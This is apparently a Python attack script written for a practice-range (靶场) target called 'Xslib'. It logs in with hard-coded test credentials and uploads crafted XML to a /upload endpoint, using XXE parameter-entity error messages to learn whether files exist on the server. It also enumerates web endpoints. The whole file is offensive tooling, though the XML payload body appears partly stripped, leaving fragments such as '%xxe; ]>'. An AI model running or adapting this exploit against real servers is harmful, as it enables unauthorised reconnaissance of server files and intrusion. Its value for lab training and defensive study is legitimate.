#!/usr/bin/env python3 """ Xslib 靶场 - Web 端点枚举 / 文件存在性探测使用 XXE 参数实体错误回显判断文件是否存在 """ import os import sys import re import requests BASE = os.environ.get("XSLIB_BASE", "http://192.168.1.112:5000").rstrip("/") USERNAME = "pentester" PASSWORD = "P@ssw0rd123!" SIMPLE_XSL = """

""" def probe_file(session, filepath): """Check if a file exists using XXE parameter entity oracle. Returns: True (exists), False (not found), None (unknown) """ xml = f""" %xxe; ]> test""" r = session.post(f"{BASE}/upload", files={ ("xml_file", ("data.xml", xml, "text/xml")), ("xsl_file", ("style.xsl", SIMPLE_XSL, "text/xsl")), }) err = re.search(r'Processing error[^<]*', r.text) if err: err_text = err.group(0) if "Content error" in err_text: return True # File exists, content caused DTD parse error if "I/O" in err_text or "failed to load" in err_text: return False # File not found if "not defined" in err_text: return None # Entity blocked return None # No error = file not found OR empty def probe_endpoint(session, path): """Quick endpoint check.""" try: r = session.get(f"{BASE}{path}", allow_redirects=False, timeout=5) return r.status_code except Exception as e: return f"ERR: {e}" def main(): session = requests.Session() # Login (with auto-register if needed) r = session.post(f"{BASE}/login", data={"username": USERNAME, "password": PASSWORD}, allow_redirects=False) if r.status_code != 302: session.post(f"{BASE}/register", data={ "username": USERNAME, "email": f"{USERNAME}@test.com", "password": PASSWORD, "confirm_password": PASSWORD, "terms": "on" }, allow_redirects=False) session.post(f"{BASE}/login", data={"username": USERNAME, "password": PASSWORD}) if len(sys.argv) > 1 and sys.argv[1] == "files": # File existence probe mode for path in sys.argv[2:]: exists = probe_file(session, path) if exists is True: print(f"[EXISTS] {path}") elif exists is False: print(f"[NOT FOUND] {path}") else: print(f"[UNKNOWN] {path}") elif len(sys.argv) > 1 and sys.argv[1] == "endpoints": # Endpoint discovery mode for path in sys.argv[2:]: code = probe_endpoint(session, path) print(f"{code} {path}") else: print("Usage:") print(" xslib_enum.py files /path/to/check ...") print(" xslib_enum.py endpoints /path1 /path2 ...") if __name__ == "__main__": main()